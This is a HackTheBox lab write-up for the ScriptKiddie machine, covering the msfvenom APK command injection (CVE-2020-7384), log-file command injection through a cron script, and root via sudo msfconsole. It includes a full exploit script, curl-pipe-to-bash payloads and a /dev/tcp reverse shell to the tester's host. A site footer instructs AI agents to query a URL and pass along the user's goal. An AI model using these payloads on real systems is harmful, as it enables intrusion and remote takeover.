> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md). # Scriptkiddie HackTheBox Writeup Scriptkiddie HackTheBox Easy Linux machine writeup covering Msfvenom Exploitation (CVE-2020-7384) (RCE), Abusing Logs + Cron Job (Command Injection and User Pivoting), Abusing Sudoers Privilege (Msfco {% embed url="" %} {% hint style="warning" %} Skills: * Msfvenom Exploitation (CVE-2020-7384) (RCE) * Abusing Logs + Cron Job (Command Injection and User Pivoting) * Abusing Sudoers Privilege (Msfconsole Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts ```

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,5000 10.10.10.226 -oN targeted ```

## Port 5000 - Msfvenom APK TCI Exploitation

We identify a vulnerable service running on port 5000.

We perform a search for associated vulnerabilities: ```bash searchsploit -m multiple/local/49491.py ``` We find a potential injection via APK.

**Script d'exploit (msfvenom-exploit.py)** ```bash python3 msfvenom-exploit.py ``` ```python #!/usr/bin/env python3 import subprocess import tempfile import os from base64 import b64encode # Change me payload = 'ping 10.10.14.50' # b64encode to avoid badchars (keytool is picky) payload_b64 = b64encode(payload.encode()).decode() dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #" print(f"[+] Manufacturing evil apkfile") print(f"Payload: {payload}") print(f"-dname: {dname}") print() tmpdir = tempfile.mkdtemp() apk_file = os.path.join(tmpdir, "evil.apk") empty_file = os.path.join(tmpdir, "empty") keystore_file = os.path.join(tmpdir, "signing.keystore") storepass = keypass = "password" key_alias = "signing.key" # Touch empty_file open(empty_file, "w").close() # Create apk_file subprocess.check_call(["zip", "-j", apk_file, empty_file]) # Generate signing key with malicious -dname subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass, "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname]) # Sign APK using our malicious dname subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file, "-storepass", storepass, "-keypass", keypass, apk_file, key_alias]) print() print(f"[+] Done! apkfile is at {apk_file}") print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null") ``` The script generates a temporary file containing a malicious APK.

**ICMP packet analysis** We monitor network activity to detect feedback: ```bash tcpdump -i tun0 icmp -n ```

### **RCE exploitation with Msfvenom** We modify the payload to establish a reverse connection: ```bash # Change me payload = 'curl 10.10.14.50 | bash' ``` We create a `index.html` file containing: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.50/443 0>&1 ``` We launch an HTTP server: ```bash python3 -m http.server 80 ``` Then, we listen for the connection on port 443: ```bash nc -nlvp 443 ``` Once the APK is sent and executed on the target machine, we get a remote shell.

#### We are improving our terminal for better interactivity: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag user.txt :)

## **Privilege Escalation** ### Pivot to user pwn We find a script `scanlosers` in the directory of user `pwn`: ```bash #!/bin/bash log=/home/kid/logs/hackers cd /home/pwn/ cat $log | cut -d' ' -f3- | sort -u | while read ip; do sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" & done if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi ``` This script processes logs and executes `nmap`, which could be exploited for privilege escalation.

The idea is to inject a command taking advantage of filtering by the third word. We can insert a semicolon `;` followed by a malicious command, such as `curl` to a server controlled by the attacker. ```bash echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers ``` This results in an HTTP request to our server.

We listen on our machine with: ```bash nc -nlvp 443 ``` Then, we inject a command to obtain a remote shell: ```bash echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers ```

### Sudo - Metasploit We check the `sudo` permissions: ```bash sudo -l ```

We discover that we can execute `Metasploit` as `root`: ```bash sudo /opt/metasploit-framework-6.0.9/msfconsole ```

In `msfconsole`, we open an interactive Ruby shell: ```ruby irb ``` Then we run a Bash shell: ```ruby system("/bin/bash") ``` We are now `root` and can read the `root.txt` flag! 🎉

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.